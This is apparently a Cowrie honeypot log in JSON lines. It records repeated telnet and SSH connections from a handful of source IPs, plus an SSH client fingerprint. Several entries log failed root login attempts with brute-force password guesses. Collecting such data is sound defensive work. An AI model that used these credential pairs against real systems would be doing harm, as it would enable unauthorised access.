{"eventid":"cowrie.session.closed","duration":32.065316915512085,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:38.181667Z","src_ip":"193.22.147.168","session":"1b6471b70bb2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":59356,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f780465d5ca","protocol":"telnet","message":"New connection: 193.22.147.168:59356 (10.17.0.5:23) [session: 7f780465d5ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:38.700220Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"A@dmin123","message":"login attempt [root/A@dmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:38.798447Z","src_ip":"165.154.6.69","session":"d2a954d75461","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root1234!@#$","message":"login attempt [root/root1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:38.823619Z","src_ip":"200.105.172.184","session":"493bb50cfcb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43322,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0c1641b4531","protocol":"telnet","message":"New connection: 174.142.104.49:43322 (159.203.135.109:23) [session: b0c1641b4531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:38.977243Z"}
{"eventid":"cowrie.session.closed","duration":71.10399842262268,"message":"Connection lost after 71 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:39.017338Z","src_ip":"174.142.104.49","session":"65f086dff257","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45570,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f833674da1","protocol":"telnet","message":"New connection: 174.142.104.49:45570 (159.203.135.109:23) [session: f3f833674da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:39.189194Z"}
{"eventid":"cowrie.session.closed","duration":31.346040964126587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:39.919820Z","src_ip":"174.142.104.49","session":"1c44de997e6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:39.946569Z","src_ip":"200.105.172.184","session":"493bb50cfcb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:40.017868Z","src_ip":"165.154.6.69","session":"d2a954d75461","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.70348882675171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:40.385102Z","src_ip":"161.132.53.68","session":"36078a52a549","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47086,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cfb0db351ac","protocol":"telnet","message":"New connection: 174.142.104.49:47086 (159.203.135.109:23) [session: 6cfb0db351ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:41.047648Z"}
{"eventid":"cowrie.session.closed","duration":31.088841438293457,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:41.810580Z","src_ip":"161.132.53.68","session":"56c323d1de8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59196,"dst_ip":"10.17.0.5","dst_port":23,"session":"cddc382ec8f3","protocol":"telnet","message":"New connection: 104.245.105.2:59196 (10.17.0.5:23) [session: cddc382ec8f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:41.864787Z"}
{"eventid":"cowrie.session.closed","duration":31.2867648601532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:42.161162Z","src_ip":"174.142.104.49","session":"d4369a7c694f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.235621690750122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:42.203475Z","src_ip":"174.142.104.49","session":"bb84d493a0a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31548762321472,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:42.255739Z","src_ip":"161.132.53.68","session":"4fe918d81f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40782141685486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:42.576454Z","src_ip":"161.132.53.68","session":"0cae74a2df1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0011534690857,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:43.062927Z","src_ip":"174.142.104.49","session":"1e9d78905c57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52278,"dst_ip":"159.203.135.109","dst_port":23,"session":"bae07396763d","protocol":"telnet","message":"New connection: 174.142.104.49:52278 (159.203.135.109:23) [session: bae07396763d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:43.899326Z"}
{"eventid":"cowrie.session.closed","duration":31.379486322402954,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:44.073990Z","src_ip":"174.142.104.49","session":"a11bd3eb0c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088916778564453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:44.186546Z","src_ip":"174.142.104.49","session":"d92480f9f05c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84068274497986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:44.919055Z","src_ip":"174.142.104.49","session":"aa8036f00ee2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.854546785354614,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:45.176280Z","src_ip":"193.22.147.168","session":"3ca8e002c85a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":38298,"dst_ip":"10.17.0.5","dst_port":23,"session":"6824e55e3970","protocol":"telnet","message":"New connection: 193.22.147.168:38298 (10.17.0.5:23) [session: 6824e55e3970]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:45.183492Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50176,"dst_ip":"159.203.135.109","dst_port":23,"session":"94748b88db07","protocol":"telnet","message":"New connection: 174.142.104.49:50176 (159.203.135.109:23) [session: 94748b88db07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:45.705693Z"}
{"eventid":"cowrie.session.closed","duration":31.516433715820312,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:45.764913Z","src_ip":"174.142.104.49","session":"715486e0092b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33374,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec49c93de3cd","protocol":"telnet","message":"New connection: 161.132.53.68:33374 (159.203.135.109:23) [session: ec49c93de3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:45.831749Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56118,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53d3595df6e","protocol":"telnet","message":"New connection: 174.142.104.49:56118 (159.203.135.109:23) [session: f53d3595df6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:46.025666Z"}
{"eventid":"cowrie.session.closed","duration":31.535313367843628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:46.049875Z","src_ip":"174.142.104.49","session":"32f35be4e10f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":38302,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad73c2c3c003","protocol":"telnet","message":"New connection: 193.22.147.168:38302 (10.17.0.5:23) [session: ad73c2c3c003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:46.455326Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":33378,"dst_ip":"159.203.135.109","dst_port":23,"session":"5160f95c128a","protocol":"telnet","message":"New connection: 161.132.53.68:33378 (159.203.135.109:23) [session: 5160f95c128a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:46.509856Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":38312,"dst_ip":"10.17.0.5","dst_port":23,"session":"f257f9d9e954","protocol":"telnet","message":"New connection: 193.22.147.168:38312 (10.17.0.5:23) [session: f257f9d9e954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:46.988937Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57892,"dst_ip":"159.203.135.109","dst_port":23,"session":"420e5848dd72","protocol":"telnet","message":"New connection: 174.142.104.49:57892 (159.203.135.109:23) [session: 420e5848dd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:47.034671Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36312,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5f8b60de9e6","protocol":"telnet","message":"New connection: 161.132.53.68:36312 (159.203.135.109:23) [session: d5f8b60de9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:47.763325Z"}
{"eventid":"cowrie.session.closed","duration":96.67223644256592,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:47.883417Z","src_ip":"174.142.104.49","session":"a4b623914336","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.67113184928894,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:48.256810Z","src_ip":"193.22.147.168","session":"ee99b458072e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060519218444824,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:48.359153Z","src_ip":"174.142.104.49","session":"d04c7a22b919","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00140714645386,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:48.683080Z","src_ip":"174.142.104.49","session":"de8dc54cc783","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36318,"dst_ip":"159.203.135.109","dst_port":23,"session":"849a28ea2584","protocol":"telnet","message":"New connection: 161.132.53.68:36318 (159.203.135.109:23) [session: 849a28ea2584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:48.779386Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36330,"dst_ip":"159.203.135.109","dst_port":23,"session":"47d70b3568f6","protocol":"telnet","message":"New connection: 161.132.53.68:36330 (159.203.135.109:23) [session: 47d70b3568f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:48.783190Z"}
{"eventid":"cowrie.session.closed","duration":84.35230898857117,"message":"Connection lost after 84 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:48.834745Z","src_ip":"174.142.104.49","session":"794a716ab2ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.13633728027344,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:49.181583Z","src_ip":"104.245.105.2","session":"34774cf09b91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":38324,"dst_ip":"10.17.0.5","dst_port":23,"session":"5dd47c96011e","protocol":"telnet","message":"New connection: 193.22.147.168:38324 (10.17.0.5:23) [session: 5dd47c96011e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:49.316571Z"}
{"eventid":"cowrie.session.closed","duration":30.63871693611145,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:50.471645Z","src_ip":"174.142.104.49","session":"25e581ee4331","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00174689292908,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:50.795265Z","src_ip":"174.142.104.49","session":"f991e2398366","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20987558364868,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:52.844617Z","src_ip":"193.22.147.168","session":"31110f0f9d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":36332,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ec54041b157","protocol":"telnet","message":"New connection: 161.132.53.68:36332 (159.203.135.109:23) [session: 7ec54041b157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:53.141839Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37278,"dst_ip":"159.203.135.109","dst_port":23,"session":"6968f82774ae","protocol":"telnet","message":"New connection: 174.142.104.49:37278 (159.203.135.109:23) [session: 6968f82774ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:53.347442Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56026,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f51a8da3f37","protocol":"telnet","message":"New connection: 193.22.147.168:56026 (10.17.0.5:23) [session: 4f51a8da3f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:53.580346Z"}
{"eventid":"cowrie.session.closed","duration":31.73856782913208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:54.284052Z","src_ip":"193.22.147.168","session":"7865cf964bf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63698983192444,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:54.523334Z","src_ip":"174.142.104.49","session":"ca3118677354","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5308620929718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:54.649319Z","src_ip":"174.142.104.49","session":"71c500245ea0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.120203018188477,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:56.938116Z","src_ip":"193.22.147.168","session":"af344a895539","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.03682589530945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:57.003936Z","src_ip":"193.22.147.168","session":"cae2f8477f72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30591106414795,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:57.156099Z","src_ip":"193.22.147.168","session":"e883197acf2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40207076072693,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:58.182202Z","src_ip":"174.142.104.49","session":"7ede73696990","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56030,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b9782b21df0","protocol":"telnet","message":"New connection: 193.22.147.168:56030 (10.17.0.5:23) [session: 6b9782b21df0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:58.378560Z"}
{"eventid":"cowrie.session.closed","duration":31.93906044960022,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:58.777044Z","src_ip":"193.22.147.168","session":"1593063894a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0017786026001,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:49:59.339205Z","src_ip":"174.142.104.49","session":"60becb9abff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44872,"dst_ip":"10.17.0.5","dst_port":23,"session":"9968af29343d","protocol":"telnet","message":"New connection: 193.22.147.168:44872 (10.17.0.5:23) [session: 9968af29343d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:00.314418Z"}
{"eventid":"cowrie.session.closed","duration":120.00139260292053,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:00.746880Z","src_ip":"174.142.104.49","session":"312f150beae8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55624,"dst_ip":"159.203.135.109","dst_port":23,"session":"20bf362e0e71","protocol":"telnet","message":"New connection: 174.142.104.49:55624 (159.203.135.109:23) [session: 20bf362e0e71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.033527Z"}
{"eventid":"cowrie.session.closed","duration":0.013451576232910156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.046879Z","src_ip":"174.142.104.49","session":"20bf362e0e71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56626,"dst_ip":"159.203.135.109","dst_port":23,"session":"c92e558beeef","protocol":"telnet","message":"New connection: 174.142.104.49:56626 (159.203.135.109:23) [session: c92e558beeef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.555702Z"}
{"eventid":"cowrie.session.closed","duration":34.4467351436615,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.702761Z","src_ip":"193.22.147.168","session":"651a702d26aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":39318,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7df7750320a","protocol":"ssh","message":"New connection: 96.78.175.36:39318 (10.17.0.5:22) [session: a7df7750320a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.725093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.736419Z","src_ip":"96.78.175.36","session":"a7df7750320a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:01.826331Z","src_ip":"96.78.175.36","session":"a7df7750320a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.87119364738464,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:02.096854Z","src_ip":"174.142.104.49","session":"e5d278930d93","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QA2ws3ed","message":"login attempt [root/1QA2ws3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:02.180552Z","src_ip":"96.78.175.36","session":"a7df7750320a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44876,"dst_ip":"10.17.0.5","dst_port":23,"session":"17974a05b8ff","protocol":"telnet","message":"New connection: 193.22.147.168:44876 (10.17.0.5:23) [session: 17974a05b8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:02.488714Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46258,"dst_ip":"159.203.135.109","dst_port":23,"session":"76fe96b2d45d","protocol":"telnet","message":"New connection: 174.142.104.49:46258 (159.203.135.109:23) [session: 76fe96b2d45d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:02.572272Z"}
{"eventid":"cowrie.session.closed","duration":36.732651710510254,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:03.024339Z","src_ip":"174.142.104.49","session":"5cb4a7c1304a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:03.279152Z","src_ip":"96.78.175.36","session":"a7df7750320a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":56040,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f9476465551","protocol":"telnet","message":"New connection: 193.22.147.168:56040 (10.17.0.5:23) [session: 1f9476465551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:03.360425Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":53928,"dst_ip":"159.203.135.109","dst_port":23,"session":"86ae67acb9b5","protocol":"telnet","message":"New connection: 161.132.53.68:53928 (159.203.135.109:23) [session: 86ae67acb9b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:03.890634Z"}
{"eventid":"cowrie.session.closed","duration":87.25868654251099,"message":"Connection lost after 87 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:04.043167Z","src_ip":"174.142.104.49","session":"81eb9712e881","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.22.147.168","src_port":44902,"dst_ip":"10.17.0.5","dst_port":23,"session":"48520bc416cf","protocol":"telnet","message":"New connection: 193.22.147.168:44902 (10.17.0.5:23) [session: 48520bc416cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:50:04.362946Z"}
